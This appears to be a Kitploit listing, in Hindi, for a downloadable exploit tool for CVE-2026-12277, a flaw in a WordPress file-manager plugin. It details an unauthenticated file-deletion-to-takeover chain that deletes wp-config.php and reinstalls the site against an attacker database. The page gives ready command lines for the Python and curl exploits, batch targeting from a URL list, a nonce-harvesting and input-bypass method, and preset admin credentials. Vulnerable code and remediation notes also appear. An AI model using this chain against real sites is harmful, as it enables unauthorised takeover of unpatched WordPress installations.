Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-12277 — Frontend File Manager Plugin (WordPress) <= 23.6 - बिना प्रमाणीकरण के मनमाना फ़ाइल विलोपन से RCE | Kitploit
उपकरण/GitHubGitHub/moritakaaz/cve-2026-12277
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubmoritakaaz/cve-2026-12277

CVE-2026-12277

Frontend File Manager Plugin (WordPress) <= 23.6 - बिना प्रमाणीकरण के मनमाना फ़ाइल विलोपन से RCE

रिपॉजिटरी देखें
22 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-12277

Frontend File Manager Plugin (WordPress) <= 23.6 - बिना प्रमाणीकरण के मनमाना फ़ाइल विलोपन से RCE

सारांश

फ़ील्डमान
CVECVE-2026-12277
प्लगइनFrontend File Manager Plugin (nmedia-user-file-uploader)
प्रभावित<= 23.6
प्रकारबिना प्रमाणीकरण के मनमाना फ़ाइल विलोपन
CVSS8.7 (उच्च)
CWECWE-73 (फ़ाइल नाम या पथ का बाहरी नियंत्रण)
पूर्वापेक्षाअतिथि अपलोड मोड सक्षम
पैचकोई नहीं (जुलाई 2026 तक)
शोधकर्ताChamseddine Bouzaiene

मूल कारण

प्लगइन अपलोड की गई फ़ाइलों के पथ को पोस्ट मेटाडेटा (wpfm_dir_path) में संग्रहीत करता है। wpfm_file_meta_update AJAX एंडपॉइंट:

  1. nonce जाँच टिप्पणी की गई है (files.php में पंक्तियाँ 769-771)
  2. nopriv के रूप में पंजीकृत है (बिना प्रमाणीकरण के सुलभ)
  3. unset($_REQUEST['wpfm_dir_path']) सुरक्षा को PHP request_order की खामियों के माध्यम से दरकिनार किया जा सकता है (क्वेरी स्ट्रिंग के माध्यम से भेजना)

जब wpfm_delete_file को कॉल किया जाता है, यह पोस्ट मेटा से wpfm_dir_path पढ़ता है और बिना किसी पथ सत्यापन के unlink() को कॉल करता है।

कमजोर एंडपॉइंट

AJAX क्रियाnonce आवश्यकप्रमाणीकरण आवश्यकnopriv
wpfm_file_meta_updateनहीं (टिप्पणी की गई)नहींहाँ (हमेशा)
wpfm_delete_fileहाँनहींहाँ (हमेशा)
wpfm_upload_fileहाँनहींहाँ (यदि अतिथि अपलोड चालू है)

शोषण श्रृंखला

root@kitploit:~
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover

फ़ाइलें

फ़ाइलविवरण
exploit.pyपूर्ण Python शोषण (पता लगाना → शोषण → अधिग्रहण)
poc_curl.shBash/curl PoC (Linux)
poc_curl.ps1PowerShell/curl PoC (Windows)
lists.txtलक्ष्य URL (प्रति पंक्ति एक, बैच मोड के लिए)
requirements.txtPython निर्भरताएँ

उपयोग

Python शोषण (पूर्ण स्वचालित)

root@kitploit:~
# Install dependencies
pip install -r requirements.txt

# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Detection only
python exploit.py -u http://target.com --detect-only

# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Custom attacker DB config
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

शोषण के बाद - लॉगिन

शोषण सफल होने के बाद, WordPress व्यवस्थापक में लॉगिन करें:

root@kitploit:~
URL:      http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!

curl PoC (Bash)

root@kitploit:~
bash poc_curl.sh http://target.com

curl PoC (PowerShell)

root@kitploit:~
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

तर्क

तर्कआवश्यकविवरण
-u, --urlहाँलक्ष्य WordPress URL
-p, --pathनहींसर्वर पर wp-config.php का पूर्ण पथ
--nonceनहींAJAX nonce (स्वतः निष्कर्षण छोड़ें)
--dbnameनहींहमलावर डेटाबेस नाम (डिफ़ॉल्ट: wp_pwned)
--dbuserनहींहमलावर डेटाबेस उपयोगकर्ता (डिफ़ॉल्ट: root)
--dbpassनहींहमलावर डेटाबेस पासवर्ड
--dbhostनहींहमलावर डेटाबेस होस्ट (डिफ़ॉल्ट: localhost)
--proxyनहींHTTP प्रॉक्सी (जैसे, http://127.0.0.1:8080)
--timeoutनहींसेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: 15)
--detect-onlyनहींकेवल भेद्यता का पता लगाएं, शोषण न करें

nonce स्वतः निष्कर्षण कैसे काम करता है

शोषण स्वचालित रूप से wpfm_ajax_nonce खोजता है:

  1. सामान्य पेज slugs: /file-manager/, /upload/, /files/, /file-upload/, आदि।
  2. सीधी फ़ाइल: /file-manager.php
  3. होमपेज पर मिले सभी आंतरिक लिंक (क्रॉलिंग)
  4. WP REST API (/wp-json/)

nonce एक छिपे हुए इनपुट फ़ील्ड के रूप में दिखाई देता है:

root@kitploit:~
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

या स्थानीयकृत JavaScript में:

root@kitploit:~
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

पथ बाइपास तकनीक

कोड सीधे अधिलेखन को रोकने के लिए unset($_REQUEST['wpfm_dir_path']) करता है। बाइपास:

  1. क्वेरी स्ट्रिंग इंजेक्शन: अन्य डेटा POST बॉडी के माध्यम से भेजते हुए wpfm_dir_path को URL क्वेरी पैरामीटर के माध्यम से भेजें। PHP का $_REQUEST विलय व्यवहार request_order कॉन्फ़िगरेशन के आधार पर मान को बनाए रखने की अनुमति देता है।

  2. अपलोड प्रवाह के दौरान पूर्व-सेट: wpfm_dir_path मेटा प्रारंभिक फ़ाइल अपलोड हुक के दौरान सेट किया जाता है। यदि उस चरण में शोषण किया जाए, तो किसी बाइपास की आवश्यकता नहीं है।

परीक्षण किया गया वातावरण

घटकसंस्करण
WordPress6.9.4
PHP8.2.12
प्लगइनFrontend File Manager 23.6
OSWindows (XAMPP) / Linux
परिणामपूर्ण अधिग्रहण की पुष्टि हुई

कमजोर कोड संदर्भ

nonce अक्षम (inc/files.php:769-771)

root@kitploit:~
/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

मनमाना मेटा लेखन (inc/files.php:787-795)

root@kitploit:~
$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

प्राधिकरण बाइपास (inc/files.php:690-693)

root@kitploit:~
$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED

असत्यापित विलोपन (inc/file.class.php:729-753)

root@kitploit:~
function delete_file_locally() {
    $file_path = $this->path;  // from wpfm_dir_path meta - NO VALIDATION
    if (file_exists($file_path)) {
        unlink($file_path);    // ARBITRARY FILE DELETION
    }
}

पथ समाधान (inc/file.class.php:172-184)

root@kitploit:~
function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // fallback: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // NO canonicalization, NO realpath check
}

निवारण

  • wpfm_file_meta_update में nonce सत्यापन को टिप्पणी से हटाएं
  • realpath() + उपसर्ग जाँच का उपयोग करके अपलोड निर्देशिका के विरुद्ध wpfm_dir_path को सत्यापित करें
  • फ़ाइल विलोपन पथों में उपयोगकर्ता-नियंत्रित इनपुट को कभी अनुमति न दें
  • अतिथि अपलोड सेटिंग से स्वतंत्र उचित प्राधिकरण जाँच जोड़ें

अस्वीकरण

यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। परीक्षण से पहले हमेशा लिखित अनुमति प्राप्त करें।

टूल डाउनलोड करें